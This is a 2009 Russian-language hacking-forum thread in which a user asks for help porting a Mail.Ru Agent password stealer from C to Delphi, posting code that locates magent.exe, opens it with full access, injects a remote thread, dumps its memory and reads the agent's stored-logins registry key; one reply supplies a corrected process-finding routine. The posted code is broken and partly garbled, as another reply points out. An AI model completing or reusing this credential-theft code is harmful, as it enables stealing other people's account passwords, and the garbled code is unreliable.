Вопрос по Delphi! (help plizzz)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by denjf, 31 Mar 2009.

  1. denjf

    denjf Member

    Joined:
    12 Nov 2008
    Messages:
    88
    Likes Received:
    12
    Reputations:
    -1
    Спецы по Delphi помогите с кодом.

    Значит я прочитал статью
    http://www.xakep.ru/post/42226/default.asp

    В ней говорится про кражу паролей из пямяти майл агента.

    В ней дан код программы на С.


    я пытаюсь переписать этот же код на Delphi.

    половину я переделал и встал колом по следующим причинам!

    uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, StdCtrls,tlhelp32, PsAPI, Registry;



    procedure TForm1.Button1Click(Sender: TObject);
    var
    p:pROCESSENTRY32;
    ct:cardinal;
    th:Cardinal;

    ts:TSearchRec;
    sst:STARTUPINFO;
    ss,s:string;

    agent:thandle;
    module: HModule;

    car:cardinal;
    hThread:thandle;

    modinfo: MODULEINFO;
    buffer: longint;
    dwReaded: DWORD;

    i,t, retCode, cValues: DWORD;
    regValue: array[0..256] of char;
    cchValue:DWORD;
    szEmail:pchar;
    iEmail:integer;
    found:boolean;
    Reg:HKEY;
    begin

    ct:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
    Process32First(ct,p);
    while Process32Next(ct,p) do begin

    (p.szExeFile) then

    OpenProcessToken(p.th32ProcessID,TOKEN_READ,th);
    ListBox1.Items.Append(string(p.szExeFile));

    if string(p.szExeFile)='magent.exe' then begin
    listbox2.Items.append(string(p.szExeFile));

    agent:=OpenProcess(PROCESS_ALL_ACCESS,FALSE,p.th32ProcessID);
    end;
    end;
    CloseHandle(ct);
    hThread:= CreateRemoteThread(agent,nil,0,@GetModuleHandle, nil,0,hthread);

    WaitForSingleObject(hThread, INFINITE);

    GetExitCodeThread(hThread , Module);

    CloseHandle(hThread);

    GetModuleInformation(agent,Module, @modinfo,sizeof(MODULEINFO));

    ReadProcessMemory(agent,modinfo.lpBaseOfDll,addr(Buffer),modinfo.SizeOfImage,dwReaded);

    if dwReaded>0 then begin

    RegOpenKeyEx(HKEY_CURRENT_USER,'Software\\Mail.Ru\\Agent\\magent_logins' ,0,KEY_QUERY_VALUE,reg);


    cchValue:=1024;
    retCode := RegEnumValue(reg, 0,regValue,cchValue, NiL, NiL, NiL, NiL);
    label1.Caption:=regvalue;

    end;

    end;

    при запуске процедуры когда программа пытается считать дамп агента. выскакивает ошибка MailAgent и говорит что инструкция по адресу 0х0000000 оьратилась к памяти по адресу 0х0000000. память не может быть read. После нажатия ОК Magent вылетает!

    Помогите кто че нибуть в этом монимает! Заранее спасибо!
     
  2. KaZ@NoVa

    KaZ@NoVa Elder - Старейшина

    Joined:
    5 Jul 2008
    Messages:
    368
    Likes Received:
    438
    Reputations:
    -16
    Во-первых ты или не весь код выложили или он у тебя даже не скомпилится. Как понимать вот это:
    Тут возможно if отсутствует, но даже если так, то szExeFile - это массив вайдчаров и писать просто "if вайдчар" нельзя. Нужно какое-то условие. У тебя его нет. Далее, что это: "cchValue"? Такая переменная даже не объявлена. Наверно, тут должно быть "cValues". Зачем выкладывать некомпилящийся код?

    Теперь по твоему вопросу: если выскочила такая ошибка, значит ты переписала какую-то ячеку памяти Агента. Он, думая что там записаны его данные, обратился к чужой памяти, а винда, отловив это, показала ошибку. Где была попорчена память, я сказать не могу. Твой код не компилится. А думать что же могло быть на месте ошибки, что-то тоже не хочется.
     
  3. criz

    criz Elder - Старейшина

    Joined:
    4 Nov 2007
    Messages:
    293
    Likes Received:
    40
    Reputations:
    6
    ТС, используй тег code, нифига не читабельно =\
    Я по делфи не спец, чем смогу помогу.
    Функция GetProcess() выглядит примерно так:
    Code:
    var 
    	pe32:PROCESSENTRY32;
    	hProcessSnap:cardinal;
    	proc:Cardinal;
    begin
    	hProcessSnap:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    	Process32First(hProcessSnap,pe32);
    	while Process32Next(hProcessSnap,pe32) do 
    	begin
    		if pe32.szExeFile='magent.exe' then
    		begin
    			proc:=OpenProcess(PROCESS_ALL_ACCESS,false,pe32.th32ProcessID);
    			result:=proc;
    		end;
    	end;
     end;
    
    посмотри еще на функцию ReadProcessMemory, обычно с ней проблемы случаются.
     
    #3 criz, 31 Mar 2009
    Last edited: 31 Mar 2009